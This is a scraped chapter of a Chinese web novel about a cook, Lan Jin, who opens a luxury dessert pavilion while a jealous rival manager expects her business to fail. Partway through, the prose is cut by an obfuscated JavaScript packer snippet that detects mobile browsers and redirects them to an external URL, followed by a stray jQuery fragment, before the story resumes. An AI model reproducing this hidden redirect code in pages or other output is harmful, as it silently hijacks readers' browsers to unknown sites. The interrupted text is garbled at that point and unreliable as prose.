45. 仙家雪媚娘
作品:《从小厨娘干到摄政王(美食)》 “蓝娘子请说,在下洗耳恭听。”萧仁禹的声音还是一如既往的冷静自持。
蓝锦排开几张共营方略,挨个与他讲解。
硝石,竹炭,木材......这对他来说不过是动动手指的小事,但小娘子口中的用途与设想却是他闻所未闻的。
还有贵族皇室的供应,军方的渠道,他的未来夫人真是眼光毒辣,丝毫不与他客气。
他很高兴。
屋檐下的冰凌还在滴水,荣宝楼的周大掌柜闲站着,百无聊赖地盯着厮波铲冰。
非是他偷懒,实在是自家门可罗雀,生意都叫什么蓝记品味抢走了。
二皇子还在不断给他们施压,叫他们破解了蓝记精品烤鸭的秘方,非得做个比人家更好吃的,把风头都抢过来。
他自己不知道吗,是他不想吗?他要是有这本事,早就一巴掌狠狠甩到蓝记脸上去了。
“掌柜的,又试了,还是不行。”年资最老的大厨捂着满胳膊的燎泡,悻悻地过来禀报。
“不行不行不行,任你糟蹋了月余了,养你是吃干饭的吗!”
大厨满腹委屈,炉子也是他带着徒弟,吭哧吭哧从零搭的。腌料、火候和工序,来来回回试了不下千次。不是上色斑驳,就是软塌腥臊。
还是弄不成蓝记品味那种脂肥肉满、皮脆多汁的烤鸭。须知她们拿下的回头客数以千计,真的算是百吃不厌。
“可能......可能是鸭子不好。”
“不好?我那不是拦了给蓝记送货的车,偷出来几只,给你试了吗?凭什么人家做个菜轻轻松松,你恨不得比那七老八十的童生去考县试还不利索!”
有个眼珠子滴溜溜转的厮波,忖度着大掌柜的神色,上前安慰道:
“您别上火!我听说啊,那蓝记自毁长城,赚了点小钱,就白花花的银子撒出去买矿。那是我们饮食行当能染指的生意吗?要不怎么说是穷人乍富,狗窝里搁不住剩食呀。”
大掌柜一弹小指:“果真?”
厮波更来劲了:“真真的啊。见天四处奔走,今日买炭,明日买木。说不准,蓝记就要倒台兑给我们荣宝楼了!”
“哼,小娘皮就是干不长久,烟熏火燎的受不住了,呵呵。赚几个钱就想当黑市主,坐着数钱?她也配。”
山里的日光被枝杈遮蔽了去,只漏下几线天。
“蓝姐姐,这边也有。”
蓝锦确实在一片深山盐碱洞穴旁,就是当年萧曼娘私开的那处。萧仁禹发现,这里有硝石的痕迹。
“萧家在军方旧部的联络还在,硝石引子也已经下来了。不过,蓝娘子,为何你需要这么多的硝石?”
“山人自有妙用”,蓝锦脸上浮现出促狭的笑容,“哎,你都不知我究竟要用在何处,还这么积极帮我。”
“我是娘子未过门的夫婿,我不插手,娘子从他处弄来,我也一样脱不了干系。”
蓝锦白他一眼,就知他要见缝插针。
舞狮的热闹刚一退场,蓝大掌柜就携伙计捧出一条长长的红绸花:
“诸位诸位,蓝记玲珑阁试营业三天。你见过腾云驾雾的天宫冰淇淋吗?你见过几丈长的冰雕鲲鹏吗?一切尽在蓝记玲珑阁哟~”
剪彩之后,喧闹的围观众人们看见了蓝锦身后雕梁画栋的三层小楼。
镶金嵌玉的大门口书有一联:“仙气凝玉酪,雕冰盈琼枝。”
走进院子一看,错落有致的花坛之间,一座通体剔透的鲲鹏冰雕傲然耸立。
飘飘乎若乘风飞去,双翼舒展,如云如扇。日光映照间,冰雕浑身浮光跃金。盘旋游走之姿,直把整个院子占了大半。
来人皆叫这种雄浑壮阔的气场震住了。须知这么大一尊冰雕,浑然一体,实在难得一遇!
“掌柜的真是不惜工本呐!就算是在寒冬,这冰,这冰也是稀罕之物啊!”
“就是,就是!更何况是这样灵透干净的,一看就不是那启出来的河冰。”
“嗳,若不是河冰,怎么能有这么大的?瞧那鳞甲都精雕细琢的,连羽毛都刻得分明,就不算损耗,别处轻易哪有这么整块的。”
蓝锦但笑不语,她知道,从今天起,玲珑阁会身价陡增,“蓝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15194813|163650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
记”也将一跃成为天都贵人圈趋之若鹜的高档场合代名词。
“贵人们里面请,且看玲珑阁当季主打新品:云中酪。”
一时阁中烟气缭绕。虽然浅淡,可鲜花掩映之间,还有草木花果的熏香味,人人愣神,只觉身处仙雾之中。
蓝锦一袭红衣流光溢彩,笑得也是人比花娇。手执铜勺,掠过一只白玉碗。
但见碗中一团雪脂,绵软圆润,玉雪可爱,真似从仙宫采撷而来的仙实。
尤其是年轻的女娘,瞬间就被夺了全部的注意力。
蓝锦示意悟雅领头,为客人逐一呈上一份,笑道:“此云中酪是我独家秘法。吃起来暖润入怀,轻盈软糯,最是甜香可口。”
心急的女娘不待蓝锦解说,便低下身子咬了一口。
果真!外皮粘糯却入口即化,轻飘飘的甜,好像嘴里也起了仙雾一般。内里那种口感,吃天上的云也就这个感受了吧!
阁中的夫人女孩儿们个个见多识广,此刻也是交头接耳,约定日后小聚都来玲珑阁尝鲜。
周掌柜的心情也是一样的美。
哈哈,蓝记品味已经好多天都没推出新品了。
须知那姓蓝的最爱搞新鲜花头,一天不憋出一个,嘿,好像她心痒痒似的!
现在这是什么兆头?对家灰溜溜倒台的兆头!
周大掌柜哼着小曲,呷着今年的新茶,心下还在嫌弃,不够灵,不够灵。
不急,等他吞了这口肥肉,待开春,专雇个商队去云雾山给他采第一茬!只要那芽尖尖上的!
“掌柜的!”厮波气喘吁吁地一路小跑回来。
“怎么?蓝记关门啦?犯刑律叫捉进去了?还是要卖酒楼?”周大掌柜满心焦急,他等这一天,等得太久了!
抛费的食材,狼藉的后院,糟心的厨子......
“不是,都不是......”
“那你倒是说啊!这急人玩意儿,太快人心的时刻,叫你添堵!”
“蓝记玲珑阁,她们把天都贵夫人的口袋,全给掏空了!”
“什么?”